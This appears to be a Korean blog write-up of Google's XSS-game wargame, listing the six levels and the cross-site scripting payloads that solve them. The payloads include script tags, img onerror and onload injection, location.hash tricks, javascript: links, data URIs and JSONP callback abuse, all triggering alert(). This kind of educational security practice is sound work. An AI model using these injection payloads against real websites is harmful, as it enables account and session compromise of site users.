XSS-GAME?
구글에서 만든 XSS(Cross-site Script) 버그를 확인할 수 있는 게임 사이트로 총 6문제로 이루어져있는 짧은 워게임 사이트다.
취약한 실제 응용 프로그램과 유사한 여러 수준으로 구성돼있고, CTF에 비하면 난이도는 쉽지만 XSS 개념을 정립하기에는 충분한 난이도로 구성됐다. 개발자 도구로 내부 코드를 조정하거나 트래픽을 조작(예: Burp Suite)하면 쉽게 풀 수 있지만 권장하지 않는다고 한다. (개발자도구를 사용하지 말라는 뜻이 아니다)
위 링크로 접속하면 바로 체험이 가능하다.
타임라인
•
23.04.06. 시작
⁞
•
23.04.07 완료
문제 목표
각 문제명을 클릭하면 풀이로 이동합니다.
붉은 글씨는 나중에도 충분히 참조할만한(까먹을만한) 내용이 있는 경우 표시했습니다.
문제 | 핵심 목표 |
기본 XSS 코드 <script> alert('hello'); </script> | |
img onerror <img src = "#" onerror = "alert('1');"> | |
window.location.hash frame#' onerror='alert(1)' | |
img onload onload="startTimer('{{'); alert('hello}}');" | |
url href javascript:alert(1) | |
Data URIs data:javascript,alert(1) / JSONP callback |
XSS 기법
✓ 기본
•
<script> alert('hello'); </script>
✓ img onerror
이미지를 로딩하는 부분이 있거나, script 문자열을 필터링할 경우
•
<img src = "#" onerror = "alert('1');">
✓ window.location.hash
window.location.hash는 현재 페이지 URL의 조각 식별자("#" 기호 뒤에 오는 URL 부분)를 나타내는 JavaScript의 window객체 속성
•
#sampe=' onerror='alert(1)’
•
#sample=<div id="xss">alert('xss');<div>
•
#sample=<img src%3D/%20onerror%3Dalert(1)>
✓ img onload
onload는 이미지 로드가 완료되었을 때 실행할 JavaScript 함수를 지정
•
<img src="/static/loading.gif" onload="startTimer(’{{timer}}');" />
<img src="/static/loading.gif" onload="startTimer('{{'); alert('hello}}');" />
✓ URL href
•
<a href=”javascript:alert(1)">
✓ Data URIs
간단한 text/plain 데이터
•
data:,Hello%2C%20World!
위 예제의 base64 인코딩 버전
•
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
<h1>Hello, World!</h1>인 HTML 문서
•
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
자바스크립트 alert 실행 문서
•
data:text/html,<script>alert('hi');</script>
•
data:,alert(1)
•
data:javascript,alert(1)
✓ JSONP(JSON with Padding)
•
http://xss-game…./frame#https://www.google.com/jsapi?callback=alert